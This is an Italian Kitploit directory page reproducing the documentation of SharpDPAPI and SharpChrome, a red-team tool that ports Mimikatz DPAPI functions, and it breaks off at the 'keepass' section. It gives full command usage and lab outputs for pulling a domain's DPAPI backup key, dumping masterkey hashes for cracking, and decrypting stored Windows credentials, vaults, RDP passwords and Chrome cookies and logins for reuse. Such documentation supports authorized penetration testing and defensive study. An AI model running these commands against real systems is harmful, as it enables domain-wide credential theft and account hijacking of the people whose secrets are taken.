Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SharpDPAPI — SharpDPAPI è un porting in C# di alcune funzionalità DPAPI di Mimikatz. | Kitploit
Strumenti/GitHubGitHub/ghostpack/sharpdpapi
Password CrackingStrumenti di Crittografia/DecrittografiaExploitEsfiltrazione DatiPost-ExploitPenetration TestingRed Teaming
GitHubghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI è un porting in C# di alcune funzionalità DPAPI di Mimikatz.

Vedi Repository
1.4k2492 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SharpDPAPI


SharpDPAPI è un port in C# di alcune funzionalità DPAPI dal progetto Mimikatz di @gentilkiwi.

Non ho ideato questa logica, si tratta semplicemente di un port da Mimikatz per comprendere meglio il processo e renderlo operativo per adattarlo al nostro flusso di lavoro.

Il sottoprogetto SharpChrome è un adattamento del lavoro di @gentilkiwi e @djhohnstein, in particolare del suo progetto SharpChrome. Tuttavia, questa versione di SharpChrome utilizza una versione diversa della libreria SQL in C# che supporta l'apertura senza blocco. SharpChrome è creato come progetto separato in SharpDPAPI a causa delle dimensioni della libreria SQLite utilizzata.

Sia Chrome che i browser Edge più recenti basati su Chromium possono essere analizzati con SharpChrome.

SharpChrome utilizza anche una versione minimizzata del codice BCrypt P/Invoke di @AArnott rilasciato sotto licenza MIT.

Se non hai familiarità con DPAPI, dai un'occhiata a questo post per ulteriori informazioni di base. Per maggiori informazioni su Credenziali e Vault in relazione a DPAPI, consulta la voce wiki di Benjamin sull'argomento.

@harmj0y è l'autore principale di questo port.

SharpDPAPI è concesso in licenza secondo i termini della licenza BSD 3-Clause.

Table of Contents

  • SharpDPAPI
    • Table of Contents
    • Background
      • SharpDPAPI Command Line Usage
      • SharpChrome Command Line Usage
      • Operational Usage
        • SharpDPAPI
        • SharpChrome
    • SharpDPAPI Commands
      • User Triage
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Machine Triage
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Misc
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • SharpChrome Commands
      • logins
      • cookies
      • statekeys
      • backupkey
    • Compile Instructions
      • Targeting other .NET versions
      • Sidenote: Running SharpDPAPI Through PowerShell
        • Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

Contesto

Utilizzo da riga di comando di SharpDPAPI

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Recupera la chiave di backup DPAPI di un controller di dominio, specificando opzionalmente un DC e un file di output:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Il comando *search* cercherà potenziali blob DPAPI nel registro, file, cartelle e blob base64:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Analisi Machine/SYSTEM:

    machinemasterkeys       -   analizza tutti i file masterkey di macchina raggiungibili (si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM)
    machinecredentials      -   utilizza 'machinemasterkeys' e poi analizza i file Credential di macchina
    machinevaults           -   utilizza 'machinemasterkeys' e poi analizza i Vault di macchina
    machinetriage           -   esegue i comandi 'machinecredentials' e 'machinevaults'


Analisi Utente:

    Argomenti per il comando 'masterkeys':

        /target:FILE/cartella     -   analizza una masterkey specifica o una cartella piena di masterkey (altrimenti analizza le masterkey locali)
        /pvk:BASE64...          -   utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
        /pvk:key.pvk            -   utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
        /password:X             -   decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
        /ntlm:X                 -   decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
        /credkey:X              -   decritta le masterkey dell'utente target usando una credkey DPAPI (SHA1 di dominio o locale, funziona in remoto)
        /rpc                    -   decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
        /server:SERVER          -   analizza un server remoto, presupponendo accesso amministrativo
        /hashes                 -   output degli hash del file usermasterkey in formato JTR/Hashcat (nessuna decrittazione)


    Argomenti per i comandi credentials|vaults|rdg|keepass|triage|blob|ps:

        Decrittazione:
            /unprotect          -   forza l'uso di CryptUnprotectData() per i comandi 'ps', 'rdg' o 'blob'
            /pvk:BASE64...      -   utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
            /pvk:key.pvk        -   utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
            /password:X         -   decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
            /ntlm:X             -   decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
            /credkey:X          -   decritta le masterkey dell'utente target usando una credkey DPAPI (SHA1 di dominio o locale, funziona in remoto)
            /rpc                -   decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
            GUID1:SHA1 ...      -   utilizza una o più masterkey GUID:SHA1 per la decrittazione
            /mkfile:FILE        -   utilizza un file contenente una o più masterkey GUID:SHA1 per la decrittazione

        Targeting:
            /target:FILE/cartella -   analizza una posizione specifica di file 'Credentials', '.rdg|RDCMan.settings', 'blob' o 'ps', o una cartella 'Vault'
            /server:SERVER      -   analizza un server remoto, presupponendo accesso amministrativo
                                    Nota: deve essere usato con /pvk:KEY o /password:X
                                    Nota: non applicabile ai comandi 'blob' o 'ps'


Analisi Certificati:

    Argomenti per il comando 'certificates':
        /showall                                        -   mostra tutti i file di chiave privata decrittati, non solo quelli collegati ai certificati installati (predefinito)
        /machine                                        -   utilizza l'archivio macchina locale per l'analisi dei certificati
        /mkfile | /target                               -   per l'analisi /machine
        [tutti gli argomenti di decrittazione dall'Analisi Utente sopra]


Nota: nella maggior parte dei casi, usa semplicemente *triage* se miri ai segreti DPAPI utente e *machinetriage* se miri ai segreti DPAPI SYSTEM.
      Queste funzioni racchiudono tutte le altre funzioni applicabili che possono essere eseguite automaticamente.

Utilizzo da riga di comando di SharpChrome

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_ 
                |
  v1.9.0


Recupera la chiave di backup DPAPI di un controller di dominio, specificando opzionalmente un DC e un file di output:

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Argomenti globali per i comandi 'cookies', 'logins' e 'statekeys':

    Decrittazione:
        /unprotect          -   forza l'uso di CryptUnprotectData() (predefinito per esecuzione non privilegiata)
        /pvk:BASE64...      -   utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
        /pvk:key.pvk        -   utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
        /password:X         -   decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
        /ntlm:X             -   decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
        /prekey:X           -   decritta le masterkey dell'utente target usando una prekey DPAPI (SHA1 di dominio o locale, funziona in remoto)
        /rpc                -   decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
        GUID1:SHA1 ...      -   utilizza una o più masterkey GUID:SHA1 per la decrittazione
        /statekey:X         -   una chiave di stato AES decrittata (dal comando 'statekey')

    Targeting:
        /target:FILE        -   analizza una posizione specifica di file 'Cookies', 'Login Data' o 'Local State'
        /target:C:\Users\X\ -   analizza una cartella utente specifica per qualsiasi comando specificato
        /server:SERVER      -   analizza un server remoto, presupponendo accesso amministrativo (nota: deve essere usato con /pvk:KEY)
        /browser:X          -   analizza 'chrome' (predefinito), (basato su chromium) 'edge' o 'slack'

    Output:
        /format:X           -   visualizzazione 'csv' (predefinita) o 'table'
        /showall            -   mostra le voci di Login Data con password nulle e Cookie scaduti invece di filtrarli (predefinito)
        /consoleoutfile:X   -   output di tutta l'uscita console su un file su disco


Argomenti specifici del comando 'cookies':

        /cookie:"REGEX"     -   restituisce solo i cookie il cui nome corrisponde alla regex fornita
        /url:"REGEX"        -   restituisce solo i cookie la cui URL corrisponde alla regex fornita
        /format:json        -   output dei valori dei cookie in un formato di importazione JSON per EditThisCookie. Ideale se usato con una regex!
        /setneverexpire     -   imposta le scadenze per l'output dei cookie a ora + 100 anni (per output json)

Utilizzo Operativo

SharpDPAPI

Uno degli obiettivi di SharpDPAPI è rendere operativo il lavoro DPAPI di Benjamin in modo che si adatti al nostro flusso di lavoro.

Come si utilizza esattamente il set di strumenti dipende dalla fase dell'impegno in cui ti trovi. In generale, si divide in "ho compromesso il dominio o no".

Se sono stati ottenuti privilegi di amministratore di dominio (o equivalenti), la chiave di backup DPAPI del dominio può essere recuperata con il comando backupkey (o con Mimikatz). Questa chiave privata di dominio non cambia mai e può decrittare qualsiasi masterkey DPAPI per gli utenti del dominio. Ciò significa che, data una chiave di backup DPAPI del dominio, un attaccante può decrittare le masterkey di qualsiasi utente del dominio, che possono poi essere utilizzate per decrittare qualsiasi Vault/Credenziali/Login di Chrome/altri blob DPAPI/ecc. La chiave recuperata con il comando backupkey può essere utilizzata con i comandi masterkeys, credentials, vaults, rdg o triage.

Se non sono stati ottenuti privilegi DA, l'uso del comando sekurlsa::dpapi di Mimikatz recupererà le mappature {GUID}:SHA1 delle masterkey caricate (utente e SYSTEM) su un dato sistema (suggerimento: eseguire dpapi::cache dopo l'estrazione delle chiavi ti fornirà una bella tabella). Se converti queste chiavi in un formato del tipo {GUID1}:SHA1 {GUID2}:SHA1..., possono essere fornite ai comandi credentials, vaults, rdg o triage. Ciò consente di analizzare tutti i file Credential/Vault su un sistema per qualsiasi utente attualmente connesso, senza dover decrittare file per file.

In alternativa, se puoi fornire la password, l'hash NTLM o la prekey DPAPI di un utente target per i comandi utente con rispettivamente /password:X, /ntlm:X o /prekey:X. Il campo dpapi dell'output sekurlsa::msv di Mimikatz per gli utenti di dominio può essere usato come /prekey, mentre il campo sha1 dell'output sekurlsa::msv può essere usato come /prekey per gli utenti locali.

Per decrittare i file RDG/RDCMan.settings con il comando rdg, il flag /unprotect userà CryptUnprotectData() per decrittare qualsiasi password RDP salvata, se il comando viene eseguito nel contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza bisogno di toccare LSASS. Perché questo approccio non è usato per credenziali/vault, consulta la documentazione di Benjamin qui.

Per l'analisi DPAPI specifica della macchina, i comandi machinemasterkeys|machinecredentials|machinevaults|machinetriage faranno l'equivalente macchina dell'analisi DPAPI utente. Se in un contesto elevato (cioè, hai bisogno di diritti amministrativi locali), SharpDPAPI si eleverà a privilegi SYSTEM per recuperare il segreto LSA "DPAPI_SYSTEM", che viene poi utilizzato per decrittare eventuali masterkey DPAPI di macchina scoperte. Queste chiavi vengono poi utilizzate come tabelle di ricerca per credenziali/vault/ecc. di macchina.

Per ulteriori informazioni offensive su DPAPI, vedi qui.

SharpChrome

SharpChrome è un'implementazione specifica per Chrome di SharpDPAPI in grado di decrittare/analizzare cookie e login. È creato come progetto separato in SharpDPAPI a causa delle dimensioni della libreria SQLite utilizzata.

Poiché i Cookie/Login Data di Chrome sono salvati senza CRYPTPROTECT_SYSTEM, CryptUnprotectData() torna disponibile. Se SharpChrome viene eseguito da un contesto non elevato, tenterà di decrittare eventuali login/cookie per l'utente corrente usando CryptUnprotectData(). Una tabella di lookup /pvk:[BASE64|file.pvk], {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X o /mkfile:FILE di valori {GUID}:SHA1 può anche essere utilizzata per decrittare i valori. Inoltre, la libreria SQL in C# utilizzata (con alcune modifiche) supporta l'apertura senza blocco, il che significa che Chrome non deve essere chiuso / i file target non devono essere copiati in un'altra posizione.

In alternativa, se puoi fornire la password, l'hash NTLM o la prekey DPAPI di un utente target per i comandi utente con rispettivamente /password:X, /ntlm:X o /prekey:X. Il campo dpapi dell'output sekurlsa::msv di Mimikatz per gli utenti di dominio può essere usato come /prekey, mentre il campo sha1 dell'output sekurlsa::msv può essere usato come /prekey per gli utenti locali.

Se Chrome è versione 80+, una chiave di stato AES è memorizzata in AppData\Local\Google\Chrome\User Data\Local State - questa chiave è protetta con DPAPI, quindi possiamo usare CryptUnprotectData()/tabelle di lookup pvk/masterkey per decrittarla. Questa chiave AES viene poi utilizzata per proteggere nuove voci di cookie e dati di login. Questo è anche il processo quando viene specificato /browser:edge o /browser:brave, per l'analisi dei browser Edge più recenti basati su Chromium.

Per impostazione predefinita, cookie e login vengono visualizzati come csv - questo può essere cambiato con /format:table per output tabellare e /format:json specificamente per i cookie. L'opzione json produce cookie in un formato json che può essere importato nell'estensione Chrome EditThisCookie per un facile riutilizzo.

Il comando cookies ha anche gli argomenti /cookie:REGEX e /url:REGEX per restituire solo nomi di cookie o URL corrispondenti alla regex fornita. Ciò è utile con /format:json per clonare facilmente l'accesso a siti specifici.

File specifici di cookie/login/statekey possono essere specificati con /target:X, e una cartella utente può essere specificata con /target:C:\Users\USER\ per qualsiasi comando di analisi.

Comandi SharpDPAPI

Analisi Utente

masterkeys

Il comando masterkeys cercherà eventuali file masterkey utente leggibili e li decritterà usando una chiave di backup DPAPI di dominio fornita. Restituirà un insieme di mappature masterkey {GUID}:SHA1.

/password:X può essere usato per decrittare le masterkey correnti di un utente. Nota che per macchine unite al dominio, la password può essere fornita in formato testo semplice o NTLM. Se /target viene fornito insieme a /password, deve essere specificato anche /sid:X con il SID di dominio completo dell'utente.

La chiave di backup di dominio può essere in forma base64 (/pvk:BASE64...) o in forma di file (/pvk:key.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

Se non viene specificato /password o /pvk, puoi passare il flag /hashes per scaricare gli hash delle masterkey in formato John/Hashcat. In questa modalità, gli hash vengono stampati nel formato {GUID}:DPAPImk.

La chiave Preferred viene anche analizzata per evidenziare la masterkey preferita corrente, in modo che non si sprechi tempo a craccare chiavi più vecchie.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: User DPAPI Masterkey File Triage

[*] Will dump user masterkey hashes

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Preferred master keys:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a


[*] User master key hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsIl comando cercherà i file Credential e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI ( o ) per decriptare prima eventuali masterkey utente (alla ), o d) una per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando di Mimikatz.

Un file credential specifico (o una cartella di credenziali) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1, e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.

Se eseguito da un contesto elevato, i file Credential di TUTTI gli utenti verranno esaminati, altrimenti verranno elaborati solo i file Credential dell'utente corrente.

Utilizzando mappature masterkey di dominio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

Il comando vaults cercherà i Vault e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.

La cartella Policy.vpol nella cartella Vault viene decriptata con le chiavi DPAPI fornite per recuperare le chiavi di decriptazione AES associate, che vengono poi utilizzate per decriptare eventuali file .vcrd associati.

Una cartella vault specifica può essere specificata con /target:C:\Folder\. In questo caso, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.

Utilizzando mappature masterkey di dominio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Utilizzando una chiave di backup del dominio DPAPI con una cartella specificata (es. triage "offline"):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

Il comando rdg cercherà i file RDCMan.settings per l'utente corrente (o, se elevato, per tutti gli utenti) e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.

Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare eventuali password RDP salvate, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.

Un file RDCMan.settings specifico, file .RDC (o cartella di file .RDG) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1 (o /unprotect), e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.

Questo comando decripta qualsiasi informazione di password salvata sia dal file RDCMan.settings che da qualsiasi file .RDG referenziato dal file RDCMan.settings.

Utilizzando /unprotect per decriptare eventuali password trovate:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Utilizzando mappature masterkey di dominio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

